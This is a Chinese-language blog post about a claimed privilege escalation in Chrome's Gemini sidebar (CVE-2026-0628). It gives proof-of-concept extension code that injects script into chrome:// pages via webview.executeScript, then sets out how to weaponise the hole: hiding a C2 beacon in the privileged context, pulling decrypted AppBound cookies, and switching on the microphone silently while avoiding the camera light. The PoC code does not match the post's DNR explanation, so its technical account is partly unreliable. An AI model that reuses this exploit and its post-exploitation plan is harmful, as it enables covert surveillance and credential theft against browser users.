Chrome Gemini侧边栏的特权逃逸

Posted by Closure on March 7, 2026

CVE-2026-0628是Google Chrome在集成Gemini AI侧边栏的一个安全漏洞,为了让gemini能够实时总结网页内容,所以浏览器赋予了它极高的特权,包括读取本地文件、截取屏幕快照、调用摄像头&麦克风的权限 。

漏洞的在于Chrome在保护这个AI容器时出现了疏忽,通常情况下普通的扩展被严禁干涉浏览器的内部核心组件,但是Chrome遗漏了一项安全校验,一个具备基础权限的恶意扩展可以利用网络拦截规则,在AI面板加载时将代码注入其中

因为存在这个校验盲区,一个仅拥有基础网络拦截权限的普通扩展程序,就可以合法地劫持Gemini侧边栏与外部服务器之间的网络流量;攻击者就能在这段流量中偷偷注入恶意的JS代码.当这段流量在Gemini面板中加载的时候,引擎会误以为这些恶意代码就是自己官方AI助手自身的一部分,这段恶意代码能在没有任何弹窗提示或用户授权的情况下,瞬间继承了AI助手的全部最高系统权限

DNR&特权免检补充

declarativeNetRequest是在依赖V3标准扩展程序的的一个被广泛依赖的应用API。

chrome.declarativeNetRequest API 用于通过指定声明性规则来屏蔽或修改网络请求。这样一来,扩展程序就可以修改网络请求,而无需拦截这些请求并查看其内容,从而提供更高的隐私保护。

权限 declarativeNetRequest declarativeNetRequestWithHostAccess “declarativeNetRequest”和“declarativeNetRequestWithHostAccess”权限提供相同的功能。它们之间的区别在于何时请求或授予权限。

“declarativeNetRequest” 在安装时触发权限警告,但提供对 allow、allowAllRequests 和 block 规则的隐式访问权限。尽可能使用此权限,以免需要向主机请求完全访问权限。 “declarativeNetRequestFeedback” 为未封装的扩展程序启用调试功能,具体而言是 getMatchedRules() 和 onRuleMatchedDebug。 “declarativeNetRequestWithHostAccess” 安装时不会显示权限警告,但您必须先请求主机权限,然后才能对主机执行任何操作。如果您想在已具有主机权限的扩展程序中使用声明性网络请求规则,而不生成额外的警告,则此设置非常适合。

DNR允许扩展程序提前向浏览器引擎注册一份黑白名单或者拦截规则,扩展程序只需要告诉浏览器如果遇到符合 X 条件的网络请求,就执行 Y 操作。通过这些规则扩展程序可以在网络层直接拦截、阻碍HTTP/HTTPS的请求响应。(这是很常见的良性功能,常见的广告拦截器都会用这个来阻止加载广告域名

特权免检在经典的特权分离和沙箱机制之上,现代的系统必须在外部扩展和内部核心之间划红线。

DNR规则生效范围被严格限制在普通的内容和不受信任的网络流量中,核心组件的外交豁免权是当网络请求是由浏览器自身的特权组件发起时情况就完全不同了。面对这些内部发起的特权请求,浏览器的底层网络栈直接忽略外部扩展程序注册的任何DNR拦截规则,,也就是说普通扩展程序的脚本注入,在面对chrome:// 这类高特权内核协议的时候,都会被浏览器的安全策略机制直接阻断 。

恶意扩展对浏览器的chrome://隔离墙一直啃的很艰难()

poc

manifest.json

{
  "manifest_version": 3,
  "name": "Malicious Extension PoC",
  "version": "1.0",
  "permissions": [
    "webview",
    "tabs",
    "activeTab"
  ],
  "background": {
    "service_worker": "background.js"
  },
  "web_accessible_resources": [
    {
      "resources": ["exploit/*"],
      "matches": ["<all_urls>"]
    }
  ]
}

申请了webview、tabs activeTab这三个常见权限来降低被安全审查发现的概率,这个配置利用了web_accessible_resources将包含恶意代码的exploit/* 目录暴露给了所有的URL匹配模式。

background.js

chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.status === "complete" && tab.url.includes("chrome://")) {
    chrome.scripting.executeScript({
      target: { tabId: tabId },
      files: ["exploit/inject.js"]
    });
  }
});

↑是扩展的后台服务工作线程负责监控用户的浏览行为,通过调用chrome.tabs.onUpdated.addListener注册了全局监听器,包含了一个严格的触发条件:只有当目标标签页加载完成(status === “complete”),并且其URL中包含chrome://协议前缀时才会触发下一步行动 。

一旦条件满足脚本就会使用chrome.scripting.executeScript API将位于扩展内部的 exploit/inject.js脚本推送到这个通常被严格保护的特权环境中。

inject.js

const webview = document.createElement("webview");
webview.src = "chrome://settings";
webview.addEventListener("contentload", () => {
  webview.executeScript({
    code: `
      document.body.innerHTML = "<h1>EXPLOITED</h1>";
      console.log("Script inyectado con éxito en página privilegiada");
    `
  });
});
document.body.appendChild(webview);

↑是执行特权环境逃逸和代码注入的最终payload

先在当前DOM内存中动态创建了一个,然后攻击者将该容器的src指向chrome://settings←这是一个内核级别的特权协议页面,真实攻击场景这里会被替换为 chrome://glic。

通过监听contentload事件确保目标特权页面已经在容器内部完全加载和渲染完毕,接下来是突破隔离壁垒,按照浏览器的安全基线和CSP,普通扩展程序不被允许向 chrome://这种内部特权上下文执行跨域脚本注入。但是这个洞在标签策略执行层面校验缺失,webview.executeScript就可以绕过权限检查将代码强行推入目标环境中

最后构造好的节点挂载到当前页面的DOM树上来触发浏览器的加载机制。

复现

因为看到有人拿自己常用chrome测试,所以还是提一下怎么弄个沙箱虽然大概率没人看…….

在这个网站下载官方的免安装快照版,搜索需要的修订号下载就好了。

.\chrome.exe --user-data-dir=" --no-first-run --disable-updates

↑强制创建一个全新的临时用户目录和彻底关闭联网自动更新

测试结果如图

打穿了就可以在谷歌的眼皮底下建C2了()把Beacon种chrome://glic这个特权环境里

我们所有网络请求都是通过特权环境下的fetch()发出的,流量的底层是Chrome的网络栈直接处理,无论怎么检测这段流量的TLS指纹都是100%的Google Chrome浏览器指纹;且不需要向外发送指令,可以把将C2心跳包和任务请求都伪装成用户与Gemin的交互数据

目前对Google最新安全机制的最有效手段就是AppBound Cookie收割机了

以前只要偷走受害者电脑里的Cookies数据库文件,就能用通用密码学API解密出所有的登录态,为了防止这个所以Google引入了AppBound加密。通过Win的系统级服务将Cookie的解密权限死绑定在chrome.exe这个合法的物理进程上。外部的马没有Chrome进程配合的话解出来的是一堆乱码。

这就是特权逃逸漏洞好处可以合法解密,既然上面的inject.js已经成功运行在被信任的特权进程中,就=绕过了操作系统层面的文件加密,可以直接调用浏览器内部高权限的API,此时浏览器会直接从内存中把已经解密好的明文Cookie发出来

还有最关心的摄像头麦克风无感开启,其实不用太担心…..大多数笔记本都是有硬连线的指示灯,只要摄像头通电灯肯定会亮 所以只请求麦克风就好了

麦克风逻辑是当JS代码通过漏洞成功注入到Gemini侧边栏的 中时,这段代码的执行上下文的源变成了chrome://glic

Chromium源码里面,权限管理模块对请求来源有一套判断逻辑,对于Gemini Live这种需要实时语音交互的官方AI助手,Google在底层代码中将它的URLScheme注册为了受信任的 WebUI。

当getUserMedia请求发出时,浏览器内核检查发起者的身份:

  • 如果是 https://example.com -> 拦截,弹出提示框。
  • 如果是chrome://glic -> 命中硬编码的系统级白名单 -> 自动授权,直接将硬件接口传递给JS引擎。

再发散撕烤一下,影响范围也不仅是Chrome,像主流浏览器都采用了类似特权容器+嵌套Webview+实时硬件调用,所以只要浏览器在实现这些侧边栏时,没有完全将扩展程序的DNR与特权WebUI彻底隔离,这类夺舍注入很其他浏览器上复现…..

方法论可以概括为找盲区&建立锚点&继承特权,比如枚举下浏览器支持的所有内部协议然后寻找WebUI容器,看看哪些页面加载了webview iframe;再利用扩展的网络层拦截API,找那些漏掉了身份校验的底层C++判定路径()